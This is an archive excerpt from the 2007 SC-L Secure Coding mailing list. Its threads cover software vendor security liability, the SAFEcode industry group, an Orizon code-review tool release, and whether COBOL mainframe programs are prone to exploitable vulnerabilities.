bugs or insecure data handling that could compromise the app, data, or
my systems.  I agree that a corporation should be wary of the contract /
RFP language and commitments, but I can't and don't expect consumers to.
Frankly even corporations should be able to expect "reasonable
performance and quality" from their software vendors without being
expected to explicitly ask.

Apparently the UK House of Lords sees the issue as described in their
Fifth Report here:
http://www.publications.parliament.uk/pa/ld200607/ldselect/ldsctech/165/
16502.htm 

And Commented on by a participant here:
http://www.lightbluetouchpaper.org/2007/08/10/house-of-lords-inquiry-per
sonal-internet-security/ 

	"The third area, and this is where the committee has been most
far-sighted, and therefore in the short term this may well be their most
controversial recommendation, is that they wish to see a software
liability regime, viz: that software companies should become responsible
for their security failures." -Richard Clayton, from the blog linked
above.

If a company produces a product that contain preventable safety issues,
even ones not explicitly requested, would a you let them stay above
liability?
If car company built a car that exploded when it was hit would you allow
them to avoid liability because no one asked for that to NOT happen?
If a drug company produced a drug that caused serious health issues or
death when using it, would they be exempt from liability because you
fixed their heart as requested, but no one asked for the liver to stay
healthy in the process?

Most wouldn't and they would cite the reasonable person concept (see:
http://en.wikipedia.org/wiki/Reasonable_person ) as justification for
not including the droves of issues that COULD be listed explicitly but
are implied due to a "reasonable person" expecting them to be in place.

Again IMO in a Kano model (http://en.wikipedia.org/wiki/Kano_model ),
software security has moved from Indifference (customer doesn't care if
it is present or not), to currently being a Performance feature (more is
better, but less is acceptable) as part of software today.  It is moving
ever closer to Basic (this feature is a Must Have for a product in the
field) and will likely be making that transition in the next 4-8 years. 

Disclaimer: personal views here, not representative of the company I
work for etc.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of John Mason Jr
Sent: Saturday, October 27, 2007 10:12 AM
To: Secure Coding
Subject: Re: [SC-L] Software security video podcast

J.M. Seitz wrote:
>> Software security can be tricky when it comes to requirements, 
>> mostly because customers and consumers don't explicitly demand
> security, rather they impicitly expect it.
> 
> Wait a second here, don't customers also implicitly expect that the
> software is going to run? I mean I haven't seen a requirements
document
> _ever_ that has said "The software must start.". They just implicitly
> expect that its going to do that.
> 
> Doesn't seem like a big surprise that most customers will _expect_
that
> "Hey, I don't want this software pwnable after you're done with it."
> 
> Not sure where the trickiness you are referring to comes from?
> 
> JS
> 
> ps. Didn't AW publish your book(s)? :) I would be real surprised
> [turning on Tom Ptaceks snarky bit] if there's any mention of them.


If it isn't in the RFP then it's not a requirement, regardless of what
the customer implicitly expected.

The customers don't see a value to the added cost(s) of a secure system,
unless they have a business requirement to adhere to such as PCI
compliance, or HIPAA.

If a requirement is important to the business it must be explicit, but
this means the folks writing the RFP must have the understanding to make
sure it is in the RFP, otherwise the you could end up with the better
system (more secure) not being selected because it costs more.

Now the company who bids the project in a more secure fashion will also
get a tangible benefit from code review and other processes that make
for a secure system, but they won't invest in this avenue until the RFP
requires it.


John

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc -
http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________

From James.McGovern at thehartford.com  Thu Nov  1 08:49:54 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 1 Nov 2007 09:49:54 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <470BCAEC.8040209@nist.gov>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com> 
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org> 
	<470BCAEC.8040209@nist.gov>
Message-ID: <773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>

 I was thinking that there is an opportunity for us otherwise lazy
enterprisey types to do our part in order to promote secure coding in an
open source way. Small vendors tend to be filled with lots of folks that
know C, Java and .NET but may not have anyone who knows COBOL.
Minimally, they probably won't have access to a mainframe or a large
code base. 

Being an individual who is savage about being open and participating in
a community, I would like to figure out why my particular call to action
is. What questions should I be asking myself regarding our mainframe,
how to exploit, etc so that I can make this type of knowledge open
source such that all the static analysis tools can start to incorporate?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Thu Nov  1 08:49:54 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 1 Nov 2007 09:49:54 -0400
Subject: [SC-L] IT industry creates secure coding advocacy group
In-Reply-To: <C343B0A4.CCA4%gunnar@arctecgroup.net>
References: <43A06C17-6187-4ADA-8687-21DFC122CF09@krvw.com> 
	<C343B0A4.CCA4%gunnar@arctecgroup.net>
Message-ID: <773F863A6009244B87E6E866AFC7DB4605FBFFE9@AD1HFDEXC309.ad1.prod>

 I publicly support Gunnar's assertion that folks in large enterprises
need to get together as a collective to drive secure coding practices.
If you know of others, please do not hesitate to have them connect to me
via LinkedIn (I am bad with managing contact information) and I will
most certainly take the lead...

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Gunnar Peterson
Sent: Tuesday, October 23, 2007 3:08 PM
To: Kenneth van Wyk; Secure Mailing List
Subject: Re: [SC-L] IT industry creates secure coding advocacy group

Hi Ken,

I thought the driving force was your book, after all they named their
initiative after it.

Anyhow, I'll reiterate here what I blogged:

It would be very interesting to see an equivalent initiative from the
customer side (who are the lucky recipients who have to pay for all the
security vulns created by the above). I know as a consultant there are
many large companies struggling with similar secure coding issues
exacerbated by outsourcing to some degree, and a lot could be gained by
a shared effort.
The analyst community like the vendors has more or less Fortune 500s out
in the dark, so this may be an area where a half dozen or so motivated
security architects and CISOs at Fortune 500s could band together to
create a group to help drive change. None of the other big players
(analysts, vendors, big consulting firms) seem to be doing it. Why not
bootstrap a Fortune 500 Secure Coding Initiative to drive better
products, services and share best practices in the software security
space?

-gp


On 10/23/07 1:55 PM, "Kenneth Van Wyk" <ken at krvw.com> wrote:

> Saw this story via Gunnar's blog (thanks!):
> 
> http://www.gcn.com/online/vol1_no1/45286-1.html
> 
> Any thoughts on new group, which is calling itself SAFEcode?  Anyone 
> here involved in its formation and care to share with us what's the 
> driving force behind it?
> 
> Cheers,
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org List 
> information, subscriptions, etc - 
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - 
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC 
> (http://www.KRvW.com) as a free, non-commercial service to the
software security community.
> _______________________________________________



On 10/23/07 1:55 PM, "Kenneth Van Wyk" <ken at krvw.com> wrote:

> Saw this story via Gunnar's blog (thanks!):
> 
> http://www.gcn.com/online/vol1_no1/45286-1.html
> 
> Any thoughts on new group, which is calling itself SAFEcode?  Anyone 
> here involved in its formation and care to share with us what's the 
> driving force behind it?
> 
> Cheers,
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org List 
> information, subscriptions, etc - 
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - 
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC 
> (http://www.KRvW.com) as a free, non-commercial service to the
software security community.
> _______________________________________________

--
Gunnar Peterson, Managing Principal, Arctec Group
http://www.arctecgroup.net

Blog: http://1raindrop.typepad.com


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List
information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From thesp0nge at gmail.com  Thu Nov  1 09:31:25 2007
From: thesp0nge at gmail.com (Paolo Perego)
Date: Thu, 1 Nov 2007 15:31:25 +0100
Subject: [SC-L] Orizon v0.50 announce
Message-ID: <e9cf3c9b0711010731u2a0d4c1fj44a27ad89c1158be@mail.gmail.com>

Hi there, I'd like to announce as delivery for Owasp Spring of Code
2007 project, the 0.50 release of Orizon.

Orizon is a source code review engine, built with the aim to give
developers something usable to build code review tools.

Orizon is independent from the language used to write the sources
because its APIs translate the code in a XML file and APIs are
provided to apply security checks over the translated XML file.

By now just Java programming language is supported in XML translation
but I'm planning to add C# support very soon.

Orizon is written in Java and is provided with a small default library
containing 20 security checks.

Orizon is waiting for developers wanting to extends the engine and
also people who wants to provide further security checks to be added
into the library.

It would be great having your feedback, your opinions, your bug
reports in order to improve my project.

Links:
Orizon site: http://orizon.sourceforge.net
Milk site, a code review tool I'm writing and that uses Orizon:
http://milk.sourceforge.net


Regards,
thesp0nge

-- 
Owasp Orizon leader
orizon.sourceforge.net

From gem at cigital.com  Thu Nov  1 10:32:51 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 1 Nov 2007 11:32:51 -0400
Subject: [SC-L] Hugh Thompson show
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2EFBC038AA@va-mailhub.cigital.com>

hi sc-l,

Hugh Thompson (of "How to Break Software Security" fame) is the host of his own show on the AT&T Tech Channel.  I went up to NY for an interview which was posted last night.  I brought my son Jack and my fiddle along with me.  Check out the result:

http://techchannel.att.com/site/home/index.cfm?key=7fb7b3944a89e2e9178bb2ce6d83e9d8

Question for the list.  Do shows like this help the software security mission?  Are cartoons and animated films about things like security attacks a good way to reach a larger audience?  How about case study books about popular subjects like EOG?

In order to scale software security to the size needed to make a dent in the problem we need to move from a cast of a few thousand to tens of thousands.  Perhaps popular outreach is necessary.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From yo at secappdev.org  Thu Nov  1 15:16:50 2007
From: yo at secappdev.org (Johan Peeters)
Date: Thu, 1 Nov 2007 21:16:50 +0100
Subject: [SC-L] Mainframe Security
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
Message-ID: <25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>

I think this could do a great service to the community.

Recently I was hired by a major financial institution as a lead
developer. They said they needed me for some Java applications, but it
turns out that the majority of code is in COBOL. As I have never
before been anywhere near COBOL, this comes as a culture shock. I was
surprised at the paucity of readily available information on COBOL
vulnerabilities, yet my gut feeling is that there are plenty of
security problems lurking there. Since so much of the financial
services industry is powered by COBOL, I would have thought that
someone would have done a thorough study of COBOL's security posture.
I certainly have not found one. Anyone else?

kr,

Yo

On 11/1/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com> wrote:
>  I was thinking that there is an opportunity for us otherwise lazy
> enterprisey types to do our part in order to promote secure coding in an
> open source way. Small vendors tend to be filled with lots of folks that
> know C, Java and .NET but may not have anyone who knows COBOL.
> Minimally, they probably won't have access to a mainframe or a large
> code base.
>
> Being an individual who is savage about being open and participating in
> a community, I would like to figure out why my particular call to action
> is. What questions should I be asking myself regarding our mainframe,
> how to exploit, etc so that I can make this type of knowledge open
> source such that all the static analysis tools can start to incorporate?
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
Johan Peeters
http://johanpeeters.com

From ken at krvw.com  Thu Nov  1 20:32:56 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 1 Nov 2007 21:32:56 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
Message-ID: <63F6518D-1085-4859-A9D4-109B2AEB0289@krvw.com>

On Nov 1, 2007, at 4:16 PM, Johan Peeters wrote:
> sSince so much of the financial
> services industry is powered by COBOL, I would have thought that
> someone would have done a thorough study of COBOL's security posture.
>
> I certainly have not found one. Anyone else?

Just a couple random(ish) observations here...

1) I believe that COBOL is still behind the *vast* majority of  
financial transactions today.  I don't know the %, but I'd bet it to  
be close to 100%.

2) It's been my experience that COBOL folks (read: "mainframe  
programmers") tend to frown on the Internet, the web, and such.   
However, in talking with them, it's often useful to say that they're  
likely to have to interface with "internet folks" via SOA and other  
mechanisms, so it's worth their while to understand the security  
problems that "those guys" face, such as XSS and SQL/XML injection (a  
handy tip I picked up from Andrew van der Stock -- thanks Andrew!).

So what's my point?  It's this: I've often found the "mainframe crowd"  
to be reluctant to even talk about software security because there  
seems to be a pervasive attitude that it's not their problem.  After  
all, the mainframe architectures they're familiar with have had  
secure, trustworthy networks and such for decades, right?  Well,  
easing them into a discussion by simply pointing out that they should  
be aware of the issues that the "internet folks" have to deal with  
because they *need* to interface with them can help things along.

Lastly, I noticed that at least one static code analysis tool  
(Fortify) now supports COBOL.  I'm not yet sure what things they scan  
for, and I'm *far* from COBOL literate myself, but I figure it's got  
to be good news re James's point.

Cheers,

Ken


-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2500 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071101/5a146712/attachment.bin 

From ljknews at mac.com  Thu Nov  1 21:52:58 2007
From: ljknews at mac.com (ljknews)
Date: Thu, 1 Nov 2007 22:52:58 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
Message-ID: <p05200f2bc35040e867b4@[192.168.1.254]>

At 9:16 PM +0100 11/1/07, Johan Peeters wrote:
> I think this could do a great service to the community.
> 
> Recently I was hired by a major financial institution as a lead
> developer. They said they needed me for some Java applications, but it
> turns out that the majority of code is in COBOL. As I have never
> before been anywhere near COBOL, this comes as a culture shock. I was
> surprised at the paucity of readily available information on COBOL
> vulnerabilities, yet my gut feeling is that there are plenty of
> security problems lurking there. Since so much of the financial
> services industry is powered by COBOL, I would have thought that
> someone would have done a thorough study of COBOL's security posture.
> I certainly have not found one. Anyone else?

Can anyone point to stories about Cobol exploits ?

I mean exploits that have to do with the nature of the language, not
social engineering attacks that happened to take place against a Cobol
shop.

My limited exposure to Cobol makes me think it is as unlikely to have
a buffer overflow as PL/I or Ada.
-- 
Larry Kilgallen

From mrockman at acm.org  Thu Nov  1 23:13:37 2007
From: mrockman at acm.org (Mark Rockman)
Date: Fri, 02 Nov 2007 00:13:37 -0400
Subject: [SC-L] COBOL Exploits
Message-ID: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>

The adolescent minds that engage in "exploits" wouldn't know COBOL if a printout fell out a window and onto their heads.  I'm sure you can write COBOL programs that crash, but it must be hard to make them take control of the operating system.  COBOL programs are heavy into unit record equipment (cards, line printers), tape files, disk files, sorts, merges, report writing -- all the stuff that came down to 1959-model mainframes from tabulating equipment.  They don't do Internet.  What they could do and have done is incorporate malicious code that exploits rounding error such that many fractional pennies end up in a conniving programmer's bank account.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071102/81148c01/attachment.html 

From shuffle3 at insightbb.com  Fri Nov  2 01:44:15 2007
From: shuffle3 at insightbb.com (Edward N Schofield)
Date: Fri, 02 Nov 2007 01:44:15 -0500
Subject: [SC-L] Mainframe Security
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
Message-ID: <472AC73F.9010404@insightbb.com>

When all else fails, your need to answer four questions:
1) Is it authorized by the management that answers for the results of 
processing?
2) How do you know if the processing and resulting data are complete?
3) How do you know the results of processing are accurate?
4) Can the results of transaction processing be traced throughout any 
part of the application process  without omitting or diluting the 
answers to the previous 3 questions?
I have to attribute my answer to Mr. Hugh Hardie of Missasuagua, 
Ontario, CA, who made a inspired presentation to the Illini Chapter of 
ISACA very many years ago. I wish that his hunger to inspire others to 
pursue risks in their IS environment continues.
Ed

McGovern, James F (HTSC, IT) wrote:
>  I was thinking that there is an opportunity for us otherwise lazy
> enterprisey types to do our part in order to promote secure coding in an
> open source way. Small vendors tend to be filled with lots of folks that
> know C, Java and .NET but may not have anyone who knows COBOL.
> Minimally, they probably won't have access to a mainframe or a large
> code base. 
>
> Being an individual who is savage about being open and participating in
> a community, I would like to figure out why my particular call to action
> is. What questions should I be asking myself regarding our mainframe,
> how to exploit, etc so that I can make this type of knowledge open
> source such that all the static analysis tools can start to incorporate?
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>   

From ppowenski at yahoo.com  Fri Nov  2 01:56:53 2007
From: ppowenski at yahoo.com (Paul Powenski)
Date: Thu, 1 Nov 2007 23:56:53 -0700 (PDT)
Subject: [SC-L] Mainframe Security
In-Reply-To: <p05200f2bc35040e867b4@[192.168.1.254]>
Message-ID: <714271.70979.qm@web54007.mail.re2.yahoo.com>

Cobol is highly structured and very difficult to just whip together a program.
  Your DATA section had to be specified EXACTLY as your design specifies. Any program which input data over the stated limit would give an exception. On the older mainframes your program would terminate. Do not have any experience with later mainframes.
   
  The whole operating environment for a mainframe is a charge based model with extensive resource control which, as a side effects, provides stronger program execution security. You can limit I/O access with a mainframe which is very difficult with our new generation of operating systems.
   
  Have not done anything with Cobol since the mid 80's. There are probably many variations since then which allow 'features' to extend its life and possibly loosen its strict structure. Using it on a Univac and Honeywell systems in batch mode your program had to be EXACT or the mainframe would not compile it. 
   
  Paul Powenski
   
   
   
   
  

ljknews <ljknews at mac.com> wrote:
  At 9:16 PM +0100 11/1/07, Johan Peeters wrote:
> I think this could do a great service to the community.
> 
> Recently I was hired by a major financial institution as a lead
> developer. They said they needed me for some Java applications, but it
> turns out that the majority of code is in COBOL. As I have never
> before been anywhere near COBOL, this comes as a culture shock. I was
> surprised at the paucity of readily available information on COBOL
> vulnerabilities, yet my gut feeling is that there are plenty of
> security problems lurking there. Since so much of the financial
> services industry is powered by COBOL, I would have thought that
> someone would have done a thorough study of COBOL's security posture.
> I certainly have not found one. Anyone else?

Can anyone point to stories about Cobol exploits ?

I mean exploits that have to do with the nature of the language, not
social engineering attacks that happened to take place against a Cobol
shop.

My limited exposure to Cobol makes me think it is as unlikely to have
a buffer overflow as PL/I or Ada.
-- 
Larry Kilgallen
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




 __________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071101/c179821c/attachment-0001.html 

From everhart at gce.com  Fri Nov  2 07:52:00 2007
From: everhart at gce.com (Glenn and Mary Everhart)
Date: Fri, 02 Nov 2007 08:52:00 -0400
Subject: [SC-L] Mainframe Security
In-Reply-To: <p05200f2bc35040e867b4@[192.168.1.254]>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>	<470BCAEC.8040209@nist.gov>	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@[192.168.1.254]>
Message-ID: <472B1D70.50504@gce.com>

ljknews wrote:
> At 9:16 PM +0100 11/1/07, Johan Peeters wrote:
>> I think this could do a great service to the community.
>>
>> Recently I was hired by a major financial institution as a lead
>> developer. They said they needed me for some Java applications, but it
>> turns out that the majority of code is in COBOL. As I have never
>> before been anywhere near COBOL, this comes as a culture shock. I was
>> surprised at the paucity of readily available information on COBOL
>> vulnerabilities, yet my gut feeling is that there are plenty of
>> security problems lurking there. Since so much of the financial
>> services industry is powered by COBOL, I would have thought that
>> someone would have done a thorough study of COBOL's security posture.
>> I certainly have not found one. Anyone else?
> 
> Can anyone point to stories about Cobol exploits ?
> 
> I mean exploits that have to do with the nature of the language, not
> social engineering attacks that happened to take place against a Cobol
> shop.
> 
> My limited exposure to Cobol makes me think it is as unlikely to have
> a buffer overflow as PL/I or Ada.
I recall that in the past some third party packages have had inadequate checking 
of system call parameters and opened holes in mainframe security. Supposedly the 
one I heard about got fixed eventually. Don't recall hearing about anything with 
COBOL though. It is not stack oriented, doesn't tend to use pointers like C does 
- more like subscripts or record numbers - so the kinds of things you might get 
could be more like array bounds being exceeded if the compiler is not checking 
for this, or if you are using binary format integers you might be able to 
produce integer overflow here and there. That too tends to have code to check it 
built in. COBOL and other old languages tend to have a lot of healthy habits 
derived from having to work at all in tiny environments - production machines 
with 8196 bytes of memory and the like. Also remember OS/360 and following use 
record oriented I/O - open a file and you can specify it has 80 byte records, 
and a read operation will return 80 bytes. None of this fiddling with null 
terminators or being able to insert newlines; they are just characters. In such 
environments you get used to doing I/O as records, with size information carried 
around everywhere. Makes many kinds of mischief hard to get away with.

I would in such a system look for holes rather in the bits of Java or C that 
might be in there as late additions where this discipline has not been a part of 
its history.

I believe there are some old COBOL static analyzers around, but also expect most 
of the compilers these days on mainframe probably can insert code to check for 
most of the overflow conditions mentioned with a compiler switch, so that having 
such checking is at least a common development practice.

Glenn Everhart


From jericho at attrition.org  Fri Nov  2 07:45:00 2007
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 2 Nov 2007 12:45:00 +0000 (UTC)
Subject: [SC-L] COBOL Exploits
In-Reply-To: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
References: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
Message-ID: <Pine.LNX.4.64.0711021241480.6384@forced.attrition.org>


Hi Mark,

: The adolescent minds that engage in "exploits" wouldn't know COBOL if a 
: printout fell out a window and onto their heads.  I'm sure you can write 
: COBOL programs that crash, but it must be hard to make them take control 
: of the operating system.  COBOL programs are heavy into unit record 
: equipment (cards, line printers), tape files, disk files, sorts, merges, 
: report writing -- all the stuff that came down to 1959-model mainframes 
: from tabulating equipment.  They don't do Internet.  What they could do 
: and have done is incorporate malicious code that exploits rounding error 
: such that many fractional pennies end up in a conniving programmer's 
: bank account.

I'd love for you to show me such exploits, specifically citing the OS 
and/or affected programs *with* a public reference. =)

http://osvdb.org/
"Search"
Disclosure Date Range: 1960-01-01 to 1979-01-01

Please, help me add to the collection =) Many of these were uncovered by 
my own personal interest/research along with a few contributers to my 
challenge to find the oldest documented vulnerability: 
http://osvdb.org/blog/?p=77

Brian


From yo at secappdev.org  Fri Nov  2 08:16:18 2007
From: yo at secappdev.org (Johan Peeters)
Date: Fri, 2 Nov 2007 14:16:18 +0100
Subject: [SC-L] Mainframe Security
In-Reply-To: <714271.70979.qm@web54007.mail.re2.yahoo.com>
References: <p05200f2bc35040e867b4@192.168.1.254>
	<714271.70979.qm@web54007.mail.re2.yahoo.com>
Message-ID: <25b6e5cf0711020616n2313ac7bja684968d30a6b615@mail.gmail.com>

I have been looking at an IBM system. If I do something like this

          ...
           01 txt                             PIC  X(120)
           ....
           string '**'
             into txt
           end-string
           display txt

I get to see ** on sysout followed by what appears to be selected
contents of the data section. This strikes me as somewhat worrysome -
it reminds me of the format string vulnerabilities in C.
Am I just being paranoid?

kr,

Yo

On 11/2/07, Paul Powenski <ppowenski at yahoo.com> wrote:
> Cobol is highly structured and very difficult to just whip together a
> program.
> Your DATA section had to be specified EXACTLY as your design specifies. Any
> program which input data over the stated limit would give an exception. On
> the older mainframes your program would terminate. Do not have any
> experience with later mainframes.
>
> The whole operating environment for a mainframe is a charge based model with
> extensive resource control which, as a side effects, provides stronger
> program execution security. You can limit I/O access with a mainframe which
> is very difficult with our new generation of operating systems.
>
> Have not done anything with Cobol since the mid 80's. There are probably
> many variations since then which allow 'features' to extend its life and
> possibly loosen its strict structure. Using it on a Univac and Honeywell
> systems in batch mode your program had to be EXACT or the mainframe would
> not compile it.
>
> Paul Powenski
>
>
>
>
>
>
> ljknews <ljknews at mac.com> wrote:
> At 9:16 PM +0100 11/1/07, Johan Peeters wrote:
> > I think this could do a great service to the community.
> >
> > Recently I was hired by a major financial institution as a lead
> > developer. They said they needed me for some Java applications, but it
> > turns out that the majority of code is in COBOL. As I have never
> > before been anywhere near COBOL, this comes as a culture shock. I was
> > surprised at the paucity of readily available information on COBOL
> > vulnerabilities, yet my gut feeling is that there are plenty of
> > security problems lurking there. Since so much of the financial
> > services industry is powered by COBOL, I would have thought that
> > someone would have done a thorough study of COBOL's security posture.
> > I certainly have not found one. Anyone else?
>
> Can anyone point to stories about Cobol exploits ?
>
> I mean exploits that have to do with the nature of the language, not
> social engineering attacks that happened to take place against a Cobol
> shop.
>
> My limited exposure to Cobol makes me think it is as unlikely to have
> a buffer overflow as PL/I or Ada.
> --
> Larry Kilgallen
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at -
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at -
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>


-- 
Johan Peeters
http://johanpeeters.com

From ljknews at mac.com  Fri Nov  2 08:21:41 2007
From: ljknews at mac.com (ljknews)
Date: Fri, 2 Nov 2007 09:21:41 -0400
Subject: [SC-L] COBOL Exploits
In-Reply-To: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
References: <2F518B06ABE4476DBE95F2988EE02D2F@mdrsesco.com>
Message-ID: <p05200f33c350d44d0911@[192.168.1.254]>

At 12:13 AM -0400 11/2/07, Mark Rockman wrote:

> The adolescent minds that engage in "exploits" wouldn't know COBOL if a
>printout fell out a window and onto their heads.  I'm sure you can write
>COBOL programs that crash, but it must be hard to make them take control
>of the operating system.

Of course if a program is able to take control of the operating system,
either:

	A. The operating system is at fault (typically not COBOL)

	B. The program is installed with special privileges

Just feeding bad parameters to a system call is inadquate to suborn
a well-constructed operating system.
-- 
